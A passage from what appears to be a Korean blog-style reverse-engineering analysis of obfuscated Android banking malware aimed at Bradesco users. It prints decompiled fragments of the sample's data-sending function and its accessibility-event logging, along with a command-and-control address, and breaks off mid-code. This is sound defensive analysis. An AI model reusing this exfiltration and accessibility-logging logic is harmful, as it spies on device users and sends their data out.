&lt;p data-ke-size=&quot;size16&quot;&gt;다만 실제 보내지는 값에는 &lt;code&gt;13.22.240.181:8088:AppData:system_info:system_config:meta_data:ec2-3-22-240-181.us-east-2.compute.amazonaws.com:11000011:[CR]:V4:&lt;/code&gt; 다음과 같이 v4 이후의 값이 전달 되지 않았는데 이후 문자열 코드를 분석해 보았다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 25.png&quot; data-origin-width=&quot;1205&quot; data-origin-height=&quot;660&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/OyK5Y/btsCKTwxHyq/dxMFGOKZlC2VpicKfqCzw1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/OyK5Y/btsCKTwxHyq/dxMFGOKZlC2VpicKfqCzw1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/OyK5Y/btsCKTwxHyq/dxMFGOKZlC2VpicKfqCzw1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FOyK5Y%2FbtsCKTwxHyq%2FdxMFGOKZlC2VpicKfqCzw1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1205&quot; height=&quot;660&quot; data-filename=&quot;Untitled 25.png&quot; data-origin-width=&quot;1205&quot; data-origin-height=&quot;660&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;분석 결과 저 많은 문자열을 BuildConfig.FLAVOR 로 대체하라는 명령어 였으며 놀랍게도 아무 값 없는 변수 였다&amp;hellip;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 26.png&quot; data-origin-width=&quot;439&quot; data-origin-height=&quot;126&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bNQpJw/btsCOGC3jq8/sKxOiUYo8VQmNi29AcD52k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bNQpJw/btsCOGC3jq8/sKxOiUYo8VQmNi29AcD52k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bNQpJw/btsCOGC3jq8/sKxOiUYo8VQmNi29AcD52k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbNQpJw%2FbtsCOGC3jq8%2FsKxOiUYo8VQmNi29AcD52k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;439&quot; height=&quot;126&quot; data-filename=&quot;Untitled 26.png&quot; data-origin-width=&quot;439&quot; data-origin-height=&quot;126&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;post 함수 분석&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;j(String.valueOf(llrvzatkuyufzkgnrnxushylduvhawmlvxqkarnncmhuamkzxa71.j), (e.getAddress().getHostAddress().... 를 확인해보면 j 함수를 통해 동작 되고 있었으며,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;String.valueOf(llrvzatkuyufzkgnrnxushylduvhawmlvxqkarnncmhuamkzxa71.j 해당 내용은 -1 이였다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 27.png&quot; data-origin-width=&quot;714&quot; data-origin-height=&quot;389&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/09bZT/btsCOErJVcH/z5goFeGMIGrTsKumc0iLo0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/09bZT/btsCOErJVcH/z5goFeGMIGrTsKumc0iLo0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/09bZT/btsCOErJVcH/z5goFeGMIGrTsKumc0iLo0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F09bZT%2FbtsCOErJVcH%2Fz5goFeGMIGrTsKumc0iLo0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;714&quot; height=&quot;389&quot; data-filename=&quot;Untitled 27.png&quot; data-origin-width=&quot;714&quot; data-origin-height=&quot;389&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서 j ( &amp;ldquo;-1&amp;rdquo; , &amp;ldquo;13.22.240.181:8088:AppData:system....&amp;rdquo;) 로 이뤄져 있었다. j함수에 대해 자세한 코드 분석을 하자면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;코드&lt;/p&gt;
&lt;pre class=&quot;processing&quot;&gt;&lt;code&gt;public static void j(String str, byte[] bArr) {
        try {
            if (((ThreadPoolExecutor) keen.cache.qfjmcewnnxsjvwarbjgoxrqijnavtgyoxwtkygqqumlggkfnla2.czomdtvrpyekgsvkwjsqebwojlgxualhnabwtjxgwgqgvncdzk4.d.f31a).getActiveCount() &amp;gt;= keen.cache.qfjmcewnnxsjvwarbjgoxrqijnavtgyoxwtkygqqumlggkfnla2.czomdtvrpyekgsvkwjsqebwojlgxualhnabwtjxgwgqgvncdzk4.d.b) {
                return;
            }
            keen.cache.qfjmcewnnxsjvwarbjgoxrqijnavtgyoxwtkygqqumlggkfnla2.czomdtvrpyekgsvkwjsqebwojlgxualhnabwtjxgwgqgvncdzk4.d.f31a.execute(new d(str, bArr));
        } catch (NullPointerException unused) {
        }
    }&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;code&gt;ThreadPoolExecutor&lt;/code&gt;&lt;/b&gt;의 활성 개수 를 비교하며 IF 문을 지나게 되면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;.czomdtvrpyekgsvkwjsqebwojlgxualhnabwtjxgwgqgvncdzk4.d.f31a.execute(**new** d(str, bArr))&lt;/code&gt; 다음과 같이 d 인스턴스를 생성해&lt;b&gt;ThreadPoolExecutor에서&lt;/b&gt; execute를 해주게 되는데&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;내부 인자를 확인해보면 기존의 d 클래스에 인자를 넘기 고 있었다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 28.png&quot; data-origin-width=&quot;1462&quot; data-origin-height=&quot;344&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ruLVq/btsCKSkb1oI/SVDrb5hdz1kgWy6pXAKkuk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ruLVq/btsCKSkb1oI/SVDrb5hdz1kgWy6pXAKkuk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ruLVq/btsCKSkb1oI/SVDrb5hdz1kgWy6pXAKkuk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FruLVq%2FbtsCKSkb1oI%2FSVDrb5hdz1kgWy6pXAKkuk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1462&quot; height=&quot;344&quot; data-filename=&quot;Untitled 28.png&quot; data-origin-width=&quot;1462&quot; data-origin-height=&quot;344&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 29.png&quot; data-origin-width=&quot;1543&quot; data-origin-height=&quot;89&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/AzRJN/btsCMzEpEZ1/xoUwhbUgFbwj0BoYQ45AVK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/AzRJN/btsCMzEpEZ1/xoUwhbUgFbwj0BoYQ45AVK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/AzRJN/btsCMzEpEZ1/xoUwhbUgFbwj0BoYQ45AVK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FAzRJN%2FbtsCMzEpEZ1%2FxoUwhbUgFbwj0BoYQ45AVK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1543&quot; height=&quot;89&quot; data-filename=&quot;Untitled 29.png&quot; data-origin-width=&quot;1543&quot; data-origin-height=&quot;89&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또한 &lt;span style=&quot;color: #eb5757;&quot; data-token-index=&quot;1&quot;&gt;f31a.execute&lt;/span&gt; 부분에서 &lt;span style=&quot;color: #eb5757;&quot; data-token-index=&quot;3&quot;&gt;f31a&lt;/span&gt; 는 Executor로 지정 되어 있는 변수이며&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 30.png&quot; data-origin-width=&quot;1536&quot; data-origin-height=&quot;59&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/n04jm/btsCLq8Kz0c/bCoMONlsJKaRKELmILvb2K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/n04jm/btsCLq8Kz0c/bCoMONlsJKaRKELmILvb2K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/n04jm/btsCLq8Kz0c/bCoMONlsJKaRKELmILvb2K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fn04jm%2FbtsCLq8Kz0c%2FbCoMONlsJKaRKELmILvb2K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1536&quot; height=&quot;59&quot; data-filename=&quot;Untitled 30.png&quot; data-origin-width=&quot;1536&quot; data-origin-height=&quot;59&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 31.png&quot; data-origin-width=&quot;403&quot; data-origin-height=&quot;66&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/VwXiX/btsCODfe9E5/1Pl39v36cHBLYKxfT0pkn0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/VwXiX/btsCODfe9E5/1Pl39v36cHBLYKxfT0pkn0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/VwXiX/btsCODfe9E5/1Pl39v36cHBLYKxfT0pkn0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FVwXiX%2FbtsCODfe9E5%2F1Pl39v36cHBLYKxfT0pkn0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;403&quot; height=&quot;66&quot; data-filename=&quot;Untitled 31.png&quot; data-origin-width=&quot;403&quot; data-origin-height=&quot;66&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;별도로 excute라는 함수가 정의 되지 않았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;찾아보니까&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 32.png&quot; data-origin-width=&quot;924&quot; data-origin-height=&quot;66&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/PVHx6/btsCQoISeHU/WHWS5VTKTPhxtnoKwP5xnK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/PVHx6/btsCQoISeHU/WHWS5VTKTPhxtnoKwP5xnK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/PVHx6/btsCQoISeHU/WHWS5VTKTPhxtnoKwP5xnK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FPVHx6%2FbtsCQoISeHU%2FWHWS5VTKTPhxtnoKwP5xnK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;924&quot; height=&quot;66&quot; data-filename=&quot;Untitled 32.png&quot; data-origin-width=&quot;924&quot; data-origin-height=&quot;66&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이러 했고 execute 할때 run 함수가 실행되는것으로 확인 되었다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 33.png&quot; data-origin-width=&quot;601&quot; data-origin-height=&quot;122&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/brEc83/btsCRhQgrbQ/NAKLNKVq0xp7Vjdvhf3W70/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/brEc83/btsCRhQgrbQ/NAKLNKVq0xp7Vjdvhf3W70/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/brEc83/btsCRhQgrbQ/NAKLNKVq0xp7Vjdvhf3W70/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbrEc83%2FbtsCRhQgrbQ%2FNAKLNKVq0xp7Vjdvhf3W70%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;601&quot; height=&quot;122&quot; data-filename=&quot;Untitled 33.png&quot; data-origin-width=&quot;601&quot; data-origin-height=&quot;122&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;z를 보면&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 34.png&quot; data-origin-width=&quot;1269&quot; data-origin-height=&quot;175&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ONqFk/btsCQ5h3PoG/hMmNKP70vDi2pdO9EHjNn1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ONqFk/btsCQ5h3PoG/hMmNKP70vDi2pdO9EHjNn1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ONqFk/btsCQ5h3PoG/hMmNKP70vDi2pdO9EHjNn1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FONqFk%2FbtsCQ5h3PoG%2FhMmNKP70vDi2pdO9EHjNn1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1269&quot; height=&quot;175&quot; data-filename=&quot;Untitled 34.png&quot; data-origin-width=&quot;1269&quot; data-origin-height=&quot;175&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;a를 보면&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 35.png&quot; data-origin-width=&quot;1050&quot; data-origin-height=&quot;393&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/pOLeK/btsCKSqQLKU/onCjmG79O8nnkFi3Ci7GJ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/pOLeK/btsCKSqQLKU/onCjmG79O8nnkFi3Ci7GJ0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/pOLeK/btsCKSqQLKU/onCjmG79O8nnkFi3Ci7GJ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FpOLeK%2FbtsCKSqQLKU%2FonCjmG79O8nnkFi3Ci7GJ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1050&quot; height=&quot;393&quot; data-filename=&quot;Untitled 35.png&quot; data-origin-width=&quot;1050&quot; data-origin-height=&quot;393&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;socket 전달 코드 분석&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 36.png&quot; data-origin-width=&quot;1554&quot; data-origin-height=&quot;406&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/S991l/btsCQohOGvB/awczSavFUhsUn41ykkW9Y0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/S991l/btsCQohOGvB/awczSavFUhsUn41ykkW9Y0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/S991l/btsCQohOGvB/awczSavFUhsUn41ykkW9Y0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FS991l%2FbtsCQohOGvB%2FawczSavFUhsUn41ykkW9Y0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1554&quot; height=&quot;406&quot; data-filename=&quot;Untitled 36.png&quot; data-origin-width=&quot;1554&quot; data-origin-height=&quot;406&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보게 되면 데이터 전송으로 j 함수가 쓰이고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 37.png&quot; data-origin-width=&quot;1476&quot; data-origin-height=&quot;461&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/PTLRU/btsCLpveWFa/IpMJMwK9xLJkSHgPH7MPAK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/PTLRU/btsCLpveWFa/IpMJMwK9xLJkSHgPH7MPAK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/PTLRU/btsCLpveWFa/IpMJMwK9xLJkSHgPH7MPAK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FPTLRU%2FbtsCLpveWFa%2FIpMJMwK9xLJkSHgPH7MPAK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1476&quot; height=&quot;461&quot; data-filename=&quot;Untitled 37.png&quot; data-origin-width=&quot;1476&quot; data-origin-height=&quot;461&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로그 파일 분석&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 38.png&quot; data-origin-width=&quot;1043&quot; data-origin-height=&quot;314&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d4yXNs/btsCLoiOjG8/JyYKlEqlnsNECUDnijoN7K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d4yXNs/btsCLoiOjG8/JyYKlEqlnsNECUDnijoN7K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d4yXNs/btsCLoiOjG8/JyYKlEqlnsNECUDnijoN7K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd4yXNs%2FbtsCLoiOjG8%2FJyYKlEqlnsNECUDnijoN7K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1043&quot; height=&quot;314&quot; data-filename=&quot;Untitled 38.png&quot; data-origin-width=&quot;1043&quot; data-origin-height=&quot;314&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;E함수로 로그가 기록되며 C함수로 인코딩 된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 39.png&quot; data-origin-width=&quot;634&quot; data-origin-height=&quot;131&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bzkEOo/btsCIET0Qdm/aisOkZtMNU4WC1NbjbSoH0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bzkEOo/btsCIET0Qdm/aisOkZtMNU4WC1NbjbSoH0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bzkEOo/btsCIET0Qdm/aisOkZtMNU4WC1NbjbSoH0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbzkEOo%2FbtsCIET0Qdm%2FaisOkZtMNU4WC1NbjbSoH0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;634&quot; height=&quot;131&quot; data-filename=&quot;Untitled 39.png&quot; data-origin-width=&quot;634&quot; data-origin-height=&quot;131&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;E 즉 로그를 기록하는 함수를 사용하는곳은&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 40.png&quot; data-origin-width=&quot;1618&quot; data-origin-height=&quot;255&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Gl9xA/btsCKRyJiIC/IiRsuDjzzYmKarY1vJJ0R1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Gl9xA/btsCKRyJiIC/IiRsuDjzzYmKarY1vJJ0R1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Gl9xA/btsCKRyJiIC/IiRsuDjzzYmKarY1vJJ0R1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FGl9xA%2FbtsCKRyJiIC%2FIiRsuDjzzYmKarY1vJJ0R1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1618&quot; height=&quot;255&quot; data-filename=&quot;Untitled 40.png&quot; data-origin-width=&quot;1618&quot; data-origin-height=&quot;255&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이곳들이며&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 내용은 패키지 설치 프로그램#[bradesco, 이 앱을 제거하시겠습니까?, 취소, 확인]#5 이런식이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;applicationLabel2 + &quot;#&quot; + v2 + &quot;#&quot; + String.valueOf(i2));&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;좀더 자세한 코드 분석&lt;/p&gt;
&lt;pre id=&quot;code_1703758227662&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;String v2 = v(accessibilityEvent);  // accessibilityEvent에서 정보를 추출하여 문자열로 반환
String str2 = (String) accessibilityEvent.getPackageName();  // 이벤트가 발생한 패키지의 이름을 가져옴
PackageManager packageManager2 = getApplicationContext().getPackageManager();
ApplicationInfo applicationInfo2 = null;

try {
    // 패키지 이름을 사용하여 애플리케이션 정보를 가져옴
    applicationInfo2 = packageManager2.getApplicationInfo(str2, 0);
